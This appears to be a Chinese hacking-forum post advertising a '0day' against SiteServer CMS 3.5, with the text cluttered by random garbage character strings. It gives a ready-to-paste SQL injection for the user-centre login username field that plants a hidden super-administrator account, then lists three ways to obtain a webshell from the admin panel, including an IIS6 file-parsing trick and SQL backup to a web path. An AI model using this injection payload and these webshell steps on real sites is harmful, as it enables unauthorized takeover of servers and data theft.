SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn
$ X* \: P7 A1 E9 Q1 I2 Q* O
# A0 o3 B2 ~, _8 A& f' T' T# I) Q; L

EXP:

+ D# o* ?2 v- @* j3 d- p# O直接访问UserCenter/login.aspx
/ H8 p! p2 y! e, a" P# ?0 w0 K) z


用户名处输入：

123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--


0 t6 J! b* v; @: V
密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
  b* _' s/ ^) ?1 j$ R3 i, N
8 q& ?6 \1 }' g& C
) W, q# X: q5 _9 i
6 O' Z: k* y% d" R( n之后再访问后台SiteServer/login.aspx用插入的用户登陆

) Z7 z7 ~" B/ [+ H' Y& ]
$ `1 p( L: Y7 l. n3 K; ~6 ^
后台拿webshell的三种方法：
- ^% A! g0 ?: d, s  O) ?8 J
  w; J3 _7 U  h& f一、
) h( n; y- C8 E1 t* q7 |* P! t
  C& b8 r6 t& Q5 n+ B6 t, x7 J! a站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

二、

6 ?5 _- W- N6 ~$ k/ t8 V7 O成员权限-》添加用户-》用户名为：1.asp

& I. w* k! y+ K" X) I  phttp://127.0.0.1/usercenter/
0 j1 ?; D7 @. \5 L* I+ o+ |4 j
5 C! P( _1 C6 Y: p8 ]5 z4 _& O4 Q用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

, }" t" X3 b) D9 D（ps：后台添加用户时不会验证是否含有非法字符）

; r+ Y) H. I) D+ b8 f7 {三、
3 [7 [4 m- c+ e% `
3 L- l: E. ]$ K系统工具-》实用工具-》机器参数查看
2 m$ D0 d$ l9 L" `可以看到数据库类型、名称，WEB路径
$ x: o4 m; E2 ^) U7 L
系统工具-》数据库工具-》SQL语句查询
/ J( a' D" b; T! D5 g这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
1 F6 e) w, Z1 D, M6 Q% w2 J
$ N  a" C7 E; N; M